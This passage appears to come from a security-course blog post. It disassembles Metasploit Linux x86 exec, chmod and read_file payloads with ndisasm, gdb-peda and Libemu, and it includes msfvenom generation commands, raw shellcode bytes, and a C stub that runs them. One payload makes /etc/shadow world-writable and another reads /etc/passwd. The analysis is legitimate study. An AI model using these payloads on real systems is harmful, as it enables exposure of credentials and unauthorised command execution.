>>> bytes.fromhex('68732f').decode('utf-8')
'hs/'
>>> bytes.fromhex('6e69622f').decode('utf-8')
'nib/'
>>>

From the python output above we can see that a 4 bytes data item '/bin/sh' pushed inside the stack using the following two instructions below

push dword 0x68732f    ; push 'hs/' on the stack 
push dword 0x6e69622f  ; push 'nib/' on the stack

The next instruction will load the data pointed by the esp register inside the ebx register, meaning that ebx register will now point at the beginning of the string '/bin/sh' 

mov ebx,esp    ; load the contents pointed by the stack pointer to ebx 

The next instruction pushes four null bytes on the stack because as we saw before the cdq instruction used to zero out the edx register and still has the same value

push edx       ; push ebx on the stack 

As we saw at the execve prototype previously, the argv[] argument is a char array which consists the second argument of the execve syscall. As we know so far, the array consists of two elements '/bin/sh' and '-c' and because no more elements will be used it must be terminated with the null value.  For that reason the instruction push edx used to provide the null bytes in order to null terminate the array.

Afterwards, the following two instructions will be used in order to provide the first argument of the execve syscall. In detail, the call 0x20 instruction will save the memory address of the next instruction on the stack and it will redirect the execution flow 0x20 ( 32 in decimal ) bytes from the start of the shellcode.

00000018 E803000000       call 0x20 
0000001D 696400575389E1CD imul esp,[eax+eax+0x57],dword 0xcde18953

As we see above the memory address pushed on the stack after the call instruction is the 0000001D ( 29 in decimal ). If we look closely at the offset above, we can see in orange colour the bytecodes 6964 followed by the null byte 0x00 in green colour. Using python we can see the ASCII text format of the hex value 0x6964  as shown below

Python 3.7.5 (default, Oct 27 2019, 15:43:29)
[GCC 9.2.1 20191022] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> bytes.fromhex('6964').decode('utf-8')
'id'

The null byte 0x00 used to terminate the string. Furthermore, as seen previously the call 0x20 instruction redirects the execution flow 32 bytes from the start of the shellcode, as shown with red below

0000001D 696400575389E1CD imul esp,[eax+eax+0x57],dword 0xcde18953 
00000025 80               db 0x80

if we disassemble the shellcode \x57\x53\x89\xE1\xCD\x80 with ndisasm we will have the following output

root@kali:~/Documents/SLAE/Assignment5# echo -ne "\x57\x53\x89\xE1\xCD\x80" | ndisasm -u -
00000000 57    push edi
00000001 53    push ebx
00000002 89E1  mov ecx,esp
00000004 CD80  int 0x80

The two instructions above push edi and push ebx will push the memory addresses of the two registers edi and ebx on the stack. The registers edi and ebx represent the array elements of the second execve argument. In detail, the push edi register will push the memory address of the edi register on the stack which contains the string "-c" and afterwards the push ebx instruction will push the memory address of the ebx register on the stack which contains the string "/bin/sh". Because the memory address of ebx register is the last one pushed on the stack, the contents of ebx will be located at the top of the stack where the esp register is pointing. Furthermore, the ecx register which refers to the second argument of the execve system call will contain the string "/bin/sh" after the mov ecx, esp instruction executes. Regarding the first argument of execve system call, the memory address that contains the "id" string is already on the stack. Then the execve system call will be executed calling the int 0x80 instruction issuing a software interrupt forcing the kernel to handle the interrupt. The kernel first checks the parameters for correctness, and then copies the register values to kernel memory space and handles the interrupt by referring to the Interrupt Descriptor Table (IDT). When the execve system call is called the following command will be executed

/bin/sh -c id

To summarise, from the exec shellcode analysis the following system call is being used.

execve("/bin/sh", ["/bin/sh", "-c", "id"], NULL)

Besides the shelcode analysis with ndisasm and gdb another useful tool called Libemu can be used to perform shellcode analysis. Libemu is a small library written in C and offers basic x86 emulation and shellcode detection and analysis. Instead of going through the instructions we can use Libemu which can provide us with a visual perspective of the execution flow 

first we will create the binary with msfvenom as follows 

root@kali:~/Documents/SLAE/Assignment5# msfvenom -p linux/x86/exec CMD=id -a x86 --platform=linux -f raw -o linux_exec.bin
No encoder or badchars specified, outputting raw payload
Payload size: 38 bytes
Saved as: linux_exec.bin

Then we will use Libemu as follows 

root@kali:~/Documents/SLAE/Assignment5# sctest -vvv -Ss 10000 -G linux_exec.dot < linux_exec.bin
graph file linux_exec.dot
verbose = 3
[emu 0x0x2123610 debug ] cpu state eip=0x00417000
[emu 0x0x2123610 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x2123610 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x2123610 debug ] Flags:
[emu 0x0x2123610 debug ] cpu state eip=0x00417000
[emu 0x0x2123610 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x2123610 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x2123610 debug ] Flags:
[emu 0x0x2123610 debug ] 6A0B push byte 0xb
[emu 0x0x2123610 debug ] cpu state eip=0x00417002
[emu 0x0x2123610 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x2123610 debug ] esp=0x00416fca ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x2123610 debug ] Flags:
[emu 0x0x2123610 debug ] 58 pop eax
[emu 0x0x2123610 debug ] cpu state eip=0x00417003
[emu 0x0x2123610 debug ] eax=0x0000000b ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x2123610 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x2123610 debug ] Flags:
[emu 0x0x2123610 debug ] 99 cwd
[emu 0x0x2123610 debug ] cpu state eip=0x00417004
[emu 0x0x2123610 debug ] eax=0x0000000b ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x2123610 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x2123610 debug ] Flags:
[emu 0x0x2123610 debug ] 52 push edx
[emu 0x0x2123610 debug ] cpu state eip=0x00417005
[emu 0x0x2123610 debug ] eax=0x0000000b ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x2123610 debug ] esp=0x00416fca ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x2123610 debug ] Flags:
[emu 0x0x2123610 debug ] 66682D63 push word 0x632d
[emu 0x0x2123610 debug ] cpu state eip=0x00417009
[emu 0x0x2123610 debug ] eax=0x0000000b ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x2123610 debug ] esp=0x00416fc8 ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x2123610 debug ] Flags:
[emu 0x0x2123610 debug ] 89E7 mov edi,esp
[emu 0x0x2123610 debug ] cpu state eip=0x0041700b
[emu 0x0x2123610 debug ] eax=0x0000000b ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x2123610 debug ] esp=0x00416fc8 ebp=0x00000000 esi=0x00000000 edi=0x00416fc8
[emu 0x0x2123610 debug ] Flags:
[emu 0x0x2123610 debug ] 682F736800 push dword 0x68732f
[emu 0x0x2123610 debug ] cpu state eip=0x00417010
[emu 0x0x2123610 debug ] eax=0x0000000b ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x2123610 debug ] esp=0x00416fc4 ebp=0x00000000 esi=0x00000000 edi=0x00416fc8
[emu 0x0x2123610 debug ] Flags:
[emu 0x0x2123610 debug ] 682F62696E push dword 0x6e69622f
[emu 0x0x2123610 debug ] cpu state eip=0x00417015
[emu 0x0x2123610 debug ] eax=0x0000000b ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x2123610 debug ] esp=0x00416fc0 ebp=0x00000000 esi=0x00000000 edi=0x00416fc8
[emu 0x0x2123610 debug ] Flags:
[emu 0x0x2123610 debug ] 89E3 mov ebx,esp
[emu 0x0x2123610 debug ] cpu state eip=0x00417017
[emu 0x0x2123610 debug ] eax=0x0000000b ecx=0x00000000 edx=0x00000000 ebx=0x00416fc0
[emu 0x0x2123610 debug ] esp=0x00416fc0 ebp=0x00000000 esi=0x00000000 edi=0x00416fc8
[emu 0x0x2123610 debug ] Flags:
[emu 0x0x2123610 debug ] 52 push edx
[emu 0x0x2123610 debug ] cpu state eip=0x00417018
[emu 0x0x2123610 debug ] eax=0x0000000b ecx=0x00000000 edx=0x00000000 ebx=0x00416fc0
[emu 0x0x2123610 debug ] esp=0x00416fbc ebp=0x00000000 esi=0x00000000 edi=0x00416fc8
[emu 0x0x2123610 debug ] Flags:
[emu 0x0x2123610 debug ] E8 call 0x1
[emu 0x0x2123610 debug ] cpu state eip=0x00417020
[emu 0x0x2123610 debug ] eax=0x0000000b ecx=0x00000000 edx=0x00000000 ebx=0x00416fc0
[emu 0x0x2123610 debug ] esp=0x00416fb8 ebp=0x00000000 esi=0x00000000 edi=0x00416fc8
[emu 0x0x2123610 debug ] Flags:
[emu 0x0x2123610 debug ] 57 push edi
[emu 0x0x2123610 debug ] cpu state eip=0x00417021
[emu 0x0x2123610 debug ] eax=0x0000000b ecx=0x00000000 edx=0x00000000 ebx=0x00416fc0
[emu 0x0x2123610 debug ] esp=0x00416fb4 ebp=0x00000000 esi=0x00000000 edi=0x00416fc8
[emu 0x0x2123610 debug ] Flags:
[emu 0x0x2123610 debug ] 53 push ebx
[emu 0x0x2123610 debug ] cpu state eip=0x00417022
[emu 0x0x2123610 debug ] eax=0x0000000b ecx=0x00000000 edx=0x00000000 ebx=0x00416fc0
[emu 0x0x2123610 debug ] esp=0x00416fb0 ebp=0x00000000 esi=0x00000000 edi=0x00416fc8
[emu 0x0x2123610 debug ] Flags:
[emu 0x0x2123610 debug ] 89E1 mov ecx,esp
[emu 0x0x2123610 debug ] cpu state eip=0x00417024
[emu 0x0x2123610 debug ] eax=0x0000000b ecx=0x00416fb0 edx=0x00000000 ebx=0x00416fc0
[emu 0x0x2123610 debug ] esp=0x00416fb0 ebp=0x00000000 esi=0x00000000 edi=0x00416fc8
[emu 0x0x2123610 debug ] Flags:
[emu 0x0x2123610 debug ] CD80 int 0x80
execve
int execve (const char *dateiname=00416fc0={/bin/sh}, const char * argv[], const char *envp[]);
[emu 0x0x2123610 debug ] cpu state eip=0x00417026
[emu 0x0x2123610 debug ] eax=0x0000000b ecx=0x00416fb0 edx=0x00000000 ebx=0x00416fc0
[emu 0x0x2123610 debug ] esp=0x00416fb0 ebp=0x00000000 esi=0x00000000 edi=0x00416fc8
[emu 0x0x2123610 debug ] Flags:
[emu 0x0x2123610 debug ] 0000 add [eax],al
cpu error error accessing 0x00000004 not mapped

stepcount 15
copying vertexes
optimizing graph
vertex 0x21837d0
going forwards from 0x21837d0
-> vertex 0x21839f0
-> vertex 0x2183ae0
-> vertex 0x2183bc0
-> vertex 0x2183db0
-> vertex 0x2184010
-> vertex 0x2184160
-> vertex 0x21842c0
-> vertex 0x21844c0
-> vertex 0x2184680
-> vertex 0x21847d0
-> vertex 0x2184940
-> vertex 0x2184ab0
-> vertex 0x2184c20
copying edges for 0x2184c20
-> 0x2188600
vertex 0x2184d90
going forwards from 0x2184d90
copying edges for 0x2184d90
vertex 0x2184ec0
going forwards from 0x2184ec0
copying edges for 0x2184ec0
[emu 0x0x2123610 debug ] cpu state eip=0x00417028
[emu 0x0x2123610 debug ] eax=0x0000000b ecx=0x00416fb0 edx=0x00000000 ebx=0x00416fc0
[emu 0x0x2123610 debug ] esp=0x00416fb0 ebp=0x00000000 esi=0x00000000 edi=0x00416fc8
[emu 0x0x2123610 debug ] Flags:
int execve (
const char * dateiname = 0x00416fc0 =>
= "/bin/sh";
const char * argv[] = [
= 0x00416fb0 =>
= 0x00416fc0 =>
= "/bin/sh";
= 0x00416fb4 =>
= 0x00416fc8 =>
= "-c";
= 0x00416fb8 =>
= 0x0041701d =>
= "id";
= 0x00000000 =>
none;
];
const char * envp[] = 0x00000000 =>
none;
) = 0;

The interesting part here is the output of the Libemu tool, which in fact produces a pseudo code that helps us to better understand the operation of the analysed shellcode. As you can see with red above, the emulator performs some analysis on the system calls and their parameters, and then presents the analysis in C pseudo-code. 

Furthermore we can convert the .dot file to a png in order to see the flow visually.

root@kali:~/Documents/SLAE/Assignment5# dot linux_exec.dot -T png > linux_exec.png

Then the following png image file will be produced which shows the assembly code snippet that correlates with the execve system call 

linux_exec 

 

3rd Shellcode analysis - chmod

At this section the chmod shellcode will be analysed. Before we continue the analysis of the payload we will review the information provided from msfconsole. 

msf5 > use payload/linux/x86/chmod
msf5 payload(linux/x86/chmod) > info

Name: Linux Chmod
Module: payload/linux/x86/chmod
Platform: Linux
Arch: x86
Needs Admin: No
Total size: 36
Rank: Normal

Provided by:
kris katterjohn <katterjohn@gmail.com>

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILE /etc/shadow yes Filename to chmod
MODE 0666 yes File mode (octal)

Description:
Runs chmod on specified file with specified mode

The chmod payload changes the file permissions of a file. The following command will be used in order to generate the chmod shellcode. The output will be saved to a file named chmod.c

root@kali:~/Documents/SLAE/Assignment5# msfvenom -p linux/x86/chmod -f c -o chmod.c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 36 bytes
Final size of c file: 177 bytes
Saved as: chmod.c

Before we continue with the analysis the chmod syscall prototype is being provided as follows

#include <sys/stat.h>

int chmod(const char *pathname, mode_t mode);

As we see above the chmod system call has two arguments, the mode and the pathname. Both these arguments are used to construct the chmod system call that is used to change the permissions of a file. In detail the pathname is a constant char array that holds the path of the file for which the permissions are about to change. Moreover the mode argument is being used in order to be assigned with the octal value that represents the permissions of the file. Furthermore, as seen from the man page of chmod syscall, the file mode consists of the file permission bits plus the set-user-ID, set-group-ID, and sticky bits. The ndisasm tool can be used to disassemble the chmod shellcode.

root@kali:~/Documents/SLAE/Assignment5# echo -ne `cat chmod.c | grep -v unsigned | sed 's/"//g' | sed ':a;N;$!ba;s/\n//g' | sed 's/^"//;$s/;$//'` | ndisasm -u -
00000000 99         cdq
00000001 6A0F       push byte +0xf
00000003 58         pop eax
00000004 52         push edx
00000005 E80C000000 call 0x16
0000000A 2F         das
0000000B 657463     gs jz 0x71
0000000E 2F         das
0000000F 7368       jnc 0x79
00000011 61         popa
00000012 646F       fs outsd
00000014 7700       ja 0x16
00000016 5B         pop ebx
00000017 68B6010000 push dword 0x1b6
0000001C 59         pop ecx
0000001D CD80       int 0x80
0000001F 6A01       push byte +0x1
00000021 58         pop eax
00000022 CD80       int 0x80

Furthermore, starting the analysis, the cdq instruction used to zero out the edx register because as mentioned before the cdq extends the sign bit of eax into the edx register. This means that if the sign bit is zero as indicated by the flag  SF = 0, then the extension of edx register will be 0x00000000. Later on at the second instruction the 0xf hex value ( 15 in decimal ) pushed on the stack and stored in eax register using the pop eax instruction. Then the edx register which has been assigned the null value will be pushed on the stack using the push edx instruction. As seen in orange colour above the call instruction is being used to redirect the execution flow 0x16 bytes ( 22 in decimal )  from the start of the shellcode and also to push the memory address ( address immediately after the call instruction ) on the stack. After the call instruction and until the 22nd byte from the start of the shellcode we see some instructions that doesn't seem valid. They seem to be disassembled junk but lets examine the bytecodes

0000000A 2F     das 
0000000B 657463 gs jz 0x71 
0000000E 2F     das 
0000000F 7368   jnc 0x79 
00000011 61     popa 
00000012 646F   fs outsd 
00000014 7700   ja 0x16

Using some python scripting we can decode the above bytecodes in ASCII text in order to examine the output

Python 2.7.17 (default, Oct 19 2019, 23:36:22)
[GCC 9.2.1 20191008] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> "2F6574632F736861646F7700".decode("hex")
'/etc/shadow\x00'

As we see at the output above the bytecodes are translated to '/etc/shadow' which refers to the Linux shadow file that holds the password hashes. Also, we can observe that the string that holds the value of the shadow path is terminated with the null byte '\x00'. Afterwards a stub file will be constructed which will carry the shellcode in order to perform dynamic analysis using gdb-peda that will help us to examine the translation of the bytecodes at runtime. Below is the creation of the shellcode.c stub file

root@kali:~/Documents/SLAE/Assignment5# cat << EOF >> shellcode.c
> #include <stdio.h>
> #include <string.h>
>
> unsigned char shellcode[] = "$(cat chmod.c | grep -v unsigned | sed 's/"//g' | sed ':a;N;$!ba;s/\n//g' | sed 's/^"//;$s/;$//')";
>
> int main()
> {
> printf("Shellcode Length: %d\n", strlen(shellcode));
> int (*ret)() = (int(*)()) shellcode;
> ret();
> }
> EOF

Now lets compile and run the shellcode.c file as seen below 

root@kali:~/Documents/SLAE/Assignment5# gcc -fno-stack-protector -g -z execstack -m32 -o shellcode shellcode.c

Furthermore, we will run the executable file with gdb-peda as follows

root@kali:~/Documents/SLAE/Assignment5# gdb -q ./shellcode
Reading symbols from ./shellcode...
gdb-peda$ b *&shellcode
Breakpoint 1 at 0x4040
gdb-peda$ r

Next as we see from gdb-peda ,the call instruction will redirect the flow at offset 0x404056

 0x404045 <shellcode+5>: call 0x404056 <shellcode+22>
0x40404a <shellcode+10>: das

After executing the call instruction, the memory address of the next instruction will be saved on the top of the stack , referring to the "/etc/shadow" string as shown below 

[------------------------------------stack-------------------------------------]
0000| 0xbffff4f4 --> 0x40404a ("/etc/shadow")

Also the instruction pointer will point at address 0x404056

EIP: 0x404056 --> 0x1b6685b

From gdb-peda above we can indicate that the address 0x404056 contains the following hex value 0x1b6685b which refers to the bytecodes in reverse order as seen from the ndisasm output in orange below

00000016 5B pop ebx                   
00000017 68B6010000 push dword 0x1b6

Regarding the ndisasm output , after the execution of the call instruction mentioned earlier, the execution flow will be redirected at offset 00000016

00000016 5B pop ebx

Then the ebx register will be assigned with the '/etc/shadow' string because as we saw before this string was at the top of the stack. From gdb we will have the following output 

gdb-peda$ x/s $ebx
0x40404a <shellcode+10>: "/etc/shadow"

The next instruction is being used to push the permissions mode of '/etc/shadow' file 

push dword 0x1b6  ; push the permissions mode on the stack

Furthermore, the hex value 0x1b6  which represents the permissions of a file will be saved on the stack. Afterwards, using python the octal representation of the hex value will be as follows

Python 3.8.3 (default, Jul 8 2020, 14:27:55)
[Clang 11.0.3 (clang-1103.0.32.62)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> s="1b6"
>>> int(s,16)
438
>>> print(oct(438))
0o666

As we see above the mode bits in octal format will be 666 which indicates the file permissions. The digits 6, 6, and 6 each individually represent the permissions for the user, group, and others, in that order. Each digit is a combination of the numbers 421, and 0

  • 4 stands for "read",
  • 2 stands for "write",
  • 1 stands for "execute", and
  • 0 stands for "no permission."

Number 6 is the combination of permissions 4+2+0 (read, write, and no permission). So the Linux based permissions representation regarding the /etc/shadow file will be as follows rw-rw-rw.  Later on, the pop ecx instruction will load the 0x1b6 hex value to the ecx register and then the chmod syscall will be executed using the int 0x80 instruction 

pop ecx   ; loads the mode bits to ecx register 
int 0x80 ; execute chmod

Following, the byte 0x1 is pushed on the stack and stored in eax register. 

push byte +0x1  ; pushes the syscal identifier 0x1 on the stack 
pop eax ; loads 1 value on the stack
int 0x80 ; executes exit syscall

In unistd_32.h header file the value 1 specifies the exit system call. Also there are no necessary arguments for exit. The software interrupt int 0x80 will execute the exit syscall. 

To summarise, from the chmod shellcode analysis the following system call used 

chmod("/etc/shadow", 0666)

 

4th Shellcode analysis - read_file

At this section the read_file shellcode produced from msfvenom will be analysed. Before we proceed with the analysis we will first read the following description from msfconsole 

msf5 payload(linux/x86/read_file) > info

Name: Linux Read File
Module: payload/linux/x86/read_file
Platform: Linux
Arch: x86
Needs Admin: No
Total size: 62
Rank: Normal

Provided by:
hal

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FD 1 yes The file descriptor to write output to
PATH yes The file path to read

Description:
Read up to 4096 bytes from the local file system and write it back
out to the specified file descriptor

As we see above the read_file shellcode when executed reads up to 4096 bytes from any file provided from the local file system and then it writes the output to another file specified from a file descriptor. Regarding the above description in our case we will read the contents of the /etc/passwd file and we will write to the standard output by using the file descriptor 1. Using the following command the read_file shellcode will be saved into a file called read_file.c 

root@kali:~/Documents/SLAE/Assignment5# msfvenom -p linux/x86/read_file PATH=/etc/passwd FD=1 --platform=linux -f c -o read_file.c
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 73 bytes
Final size of c file: 331 bytes
Saved as: read_file.c

Before we continue with our analysis, we will first create a stub file that will carry our shellcode in order to compile it and run it with gdb-peda 

root@kali:~/Documents/SLAE/Assignment5# cat << EOF > shellcode.c
> #include <stdio.h>
> #include <string.h>
>
> unsigned char shellcode[] = "$(cat read_file.c | grep -v unsigned | sed 's/"//g' | sed ':a;N;$!ba;s/\n//g' | sed 's/^"//;$s/;//')";
>
> int main()
> {
> printf("Shellcode Length: %d\n", strlen(shellcode));
> int (*ret)() = (int(*)()) shellcode;
> ret();
> }
> EOF

Then we will compile the shellcode.c file as follows 

root@kali:~/Documents/SLAE/Assignment5# gcc -fno-stack-protector -g -z execstack -m32 -o shellcode shellcode.c

Now that we have successfully compiled the shellcode.c  the executable file is ready to run with gdb-peda debugger in order to examine the behaviour of the program on runtime.

root@kali:~/Documents/SLAE/Assignment5# gdb -q ./shellcode
Reading symbols from ./shellcode...
gdb-peda$ b *&shellcode
Breakpoint 1 at 0x4040
gdb-peda$ r

In order to see the instructions executed on runtime we can use the si command on gdb-peda as follows

gdb-peda$ si
[----------------------------------registers-----------------------------------]
EAX: 0x404040 --> 0x5b836eb
EBX: 0x404000 --> 0x3efc
ECX: 0x7fffffec
EDX: 0xb7fb0010 --> 0x0
ESI: 0xb7fae000 --> 0x1d6d6c
EDI: 0xb7fae000 --> 0x1d6d6c
EBP: 0xbffff508 --> 0x0
ESP: 0xbffff4ec --> 0x4011f9 (<main+80>: mov eax,0x0)
EIP: 0x404078 --> 0xffffc5e8
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x40406c <shellcode+44>: mov eax,0x1
0x404071 <shellcode+49>: mov ebx,0x0
0x404076 <shellcode+54>: int 0x80
=> 0x404078 <shellcode+56>: call 0x404042 <shellcode+2>
0x40407d <shellcode+61>: das
0x40407e <shellcode+62>: gs je 0x4040e4
0x404081 <shellcode+65>: das
0x404082 <shellcode+66>: jo 0x4040e5
No argument
[------------------------------------stack-------------------------------------]
0000| 0xbffff4ec --> 0x4011f9 (<main+80>: mov eax,0x0)
0004| 0xbffff4f0 --> 0x1
0008| 0xbffff4f4 --> 0xbffff5b4 --> 0xbffff701 ("/root/Documents/SLAE/Assignment5/shellcode")
0012| 0xbffff4f8 --> 0xbffff5bc --> 0xbffff72c ("SHELL=/bin/bash")
0016| 0xbffff4fc --> 0x404040 --> 0x5b836eb
0020| 0xbffff500 --> 0xbffff520 --> 0x1
0024| 0xbffff504 --> 0x0
0028| 0xbffff508 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x00404078 in shellcode ()
gdb-peda$

The big advantage that gdb-peda has is that every time a command is used it also lists the code, the registers, the flags and the stack giving a whole clear view of the program behaviour without needing any further interaction with the debugger.

Apart from gdb-peda, by using the following command we can isolate the shellcode from read_file.c in order to use it later with ndisasm tool to perform our static analysis. 

root@kali:~/Documents/SLAE/Assignment5#  cat read_file.c | grep -v unsigned | sed 's/"//g' | sed ':a;N;$!ba;s/\n//g' | sed 's/^"//;$s/;//'
\xeb\x36\xb8\x05\x00\x00\x00\x5b\x31\xc9\xcd\x80\x89\xc3\xb8\x03\x00\x00\x00\x89\xe7\x89\xf9\xba\x00\x10\x00\x00\xcd\x80\x89\xc2\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xc5\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x00

The following command is used to dissect the read_file shellcode in order to examine the produced disassembled code

root@kali:~/Documents/SLAE/Assignment5# echo -ne "\xeb\x36\xb8\x05\x00\x00\x00\x5b\x31\xc9\xcd\x80\x89\xc3\xb8\x03\x00\x00\x00\x89\xe7\x89\xf9\xba\x00\x10\x00\x00\xcd\x80\x89\xc2\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xc5\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x00" | ndisasm -u -
00000000 EB36 jmp short 0x38
00000002 B805000000 mov eax,0x5
00000007 5B pop ebx
00000008 31C9 xor ecx,ecx
0000000A CD80 int 0x80
0000000C 89C3 mov ebx,eax
0000000E B803000000 mov eax,0x3
00000013 89E7 mov edi,esp
00000015 89F9 mov ecx,edi
00000017 BA00100000 mov edx,0x1000
0000001C CD80 int 0x80
0000001E 89C2 mov edx,eax
00000020 B804000000 mov eax,0x4
00000025 BB01000000 mov ebx,0x1
0000002A CD80 int 0x80
0000002C B801000000 mov eax,0x1
00000031 BB00000000 mov ebx,0x0
00000036 CD80 int 0x80
00000038 E8C5FFFFFF call 0x2
0000003D 2F das
0000003E 657463 gs jz 0xa4
00000041 2F das
00000042 7061 jo 0xa5
00000044 7373 jnc 0xb9
00000046 7764 ja 0xac
00000048 00 db 0x00

Starting our analysis, as we see above, the first instruction jmp short 0x38 used to make a short jump at the offset 00000038 where the call 0x2 instruction is located. Then the call instruction will save the memory address of the next instruction on the stack and also it will redirect the execution flow 2 bytes from the beginning of the shellcode and more precisely at offset 00000002 where the mov eax,0x5 instruction is located. After the execution of the call instruction, the execution flow will continue from the offset 00000002 and the esp register will point to the string /etc/passwd as we see from the gdb-peda output below

ESP: 0xbffff4e8 --> 0x40407d ("/etc/passwd")

The same way, if we look closely to the following instructions we can see that there is disassembled junk code after the call instruction.

0000003D 2F     das
0000003E 657463 gs jz 0xa4
00000041 2F das
00000042 7061 jo 0xa5
00000044 7373 jnc 0xb9
00000046 7764 ja 0xac
00000048 003B add [ebx],bh

Furthermore, we can use some python scripting in order to translate the above bytecodes into ASCII text as follows

root@kali:~/Documents/SLAE/Assignment5# cat path.txt | awk -F" " '{ print $2 }' |sed ':a;N;$!ba;s/\n//g'
2F6574632F706173737764003B
root@kali:~/Documents/SLAE/Assignment5# python
Python 2.7.17 (default, Oct 19 2019, 23:36:22)
[GCC 9.2.1 20191008] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> "2F6574632F706173737764003B".decode("hex")
'/etc/passwd\x00;'

Then as we see from the python output above, the '/etc/passwd' string has been revealed and it has also been terminated with the null byte '\x00'. Furthermore, after the call instruction returns, the next instruction to be executed is the following

mov eax,0x5  ; move 0x5 open syscall identifier into eax register

As we see from the header file unistd_32.h, the above instruction used to load the open syscall identifier 0x5 to eax register 

root@kali:~/Documents/SLAE/Assignment5# cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep " 5"
#define __NR_open

Before we continue, below is the prototype of the open system call

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

int open(const char *pathname, int flags);

As we see above the open system call takes two arguments, the pathname and the flags. According to the man page, the open system call opens the file specified by pathname. The return value of open system call is a file descriptor, a small, nonnegative integer that is used in subsequent system calls ( read(2), write(2), lseek(2), fcntl(2), etc.). The argument flags must include one of the following access modes: O_RDONLY, O_WRONLY, or O_RDWR. These request opening the file read- only, write-only, or read/write, respectively. For more information about the open system call refer the the man page here 

Furthermore, the "/etc/passwd" string will be loaded from the stack to the ebx register using the following instruction and that because after the execution of the call instruction, the "/etc/passwd" was saved at the top of the stack

pop ebx       ; load /etc/passwd on ebx register 

Using gdb-peda we can see that the ebx register contains the following hex values 

gdb-peda$ x/12b $ebx
0x40407d <shellcode+61>: 0x2f 0x65 0x74 0x63 0x2f 0x70 0x61 0x73
0x404085 <shellcode+69>: 0x73 0x77 0x64 0x00

With the use of python we can confirm the ASCII text representation of the hex values in orange above which will be the string "/etc/passwd" terminated with the null byte.

Python 2.7.17 (default, Oct 19 2019, 23:36:22)
[GCC 9.2.1 20191008] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> "2f6574632f70617373776400".decode("hex")
/etc/passwd\x00'

The next instruction will zero out the ecx register which will be used for the second argument of the open system call. 

xor ecx, ecx       ; zero out ecx register 
int 0x80  ; execute the open system call

Because the ecx register used to set the second argument of the open system call, it has been assigned with zero value in order to set the O_RDONLY flag. If we check the fcntl.h header file we will see that the O_RDONLY flag is defined with zeroes. 

root@kali:~/Documents/SLAE/Assignment5# grep -i -n "O_RDONLY" /usr/include/asm-generic/fcntl.h
20:#define O_RDONLY 00000000

Moreover, as we know the ecx register has the size of 32bits, the cx register has the size of 16bits, and the lower bytes cl register has the size of 8bits. Moreover, zeroing out  the ecx register with xor ecx, ecx instruction the lower 8bits cl register will be assigned with zeros as seen below

                      ECX
32---------------------------------------------
CX
---------------------16----------------------
CH CL
----------------------8-----------8----------
00000000 00000000 00000000 00000000

+ 00000000 00000000 00000000 00000000
--------------------------------------------- 00000000 00000000 00000000 00000000

O_RDONLY

Then the open system call will be executed using int 0x80 instruction. Moreover, the open system call will be constructed as follows 

open("/etc/passwd", O_RDONLY)

Going further with analysis, from ndisasm output we see the following code snippet 

0000000C 89C3 mov ebx,eax
0000000E B803000000 mov eax,0x3
00000013 89E7 mov edi,esp
00000015 89F9 mov ecx,edi
00000017 BA00100000 mov edx,0x1000
0000001C CD80 int 0x80

The first instruction moves the value stored at eax register into ebx register. Using gdb-peda we will check the returned file descriptor at the time the open syscall executed when initiating the int 0x80 instruction. Then the returned value from open system call will be saved at the eax register which will then be moved to ebx register. 

mov ebx,eax   ; moves the value of the eax register to the ebx register

From gdb-peda we see that the eax register will be assigned with the hex value 0x3 indicating the file descriptor of the opened file. 

gdb-peda$ p $eax
$2 = 0x3

The next instruction will move the hex value 0x3 to the eax register

mov eax,0x3 ; move 0x3 hex value to eax register indicating the read system call

The above instruction moves the hex value 0x3  to eax register which indicates the read system call as we see from the unistd_32.h header file below 

root@kali:~/Documents/SLAE/Assignment5# grep -i -n "__NR_read " /usr/include/i386-linux-gnu/asm/unistd_32.h
7:#define __NR_read 3

Following is the prototype of the read system call 

#include <unistd.h>

ssize_t read(int _fd_ , void _buf_ , size_t _count_ );

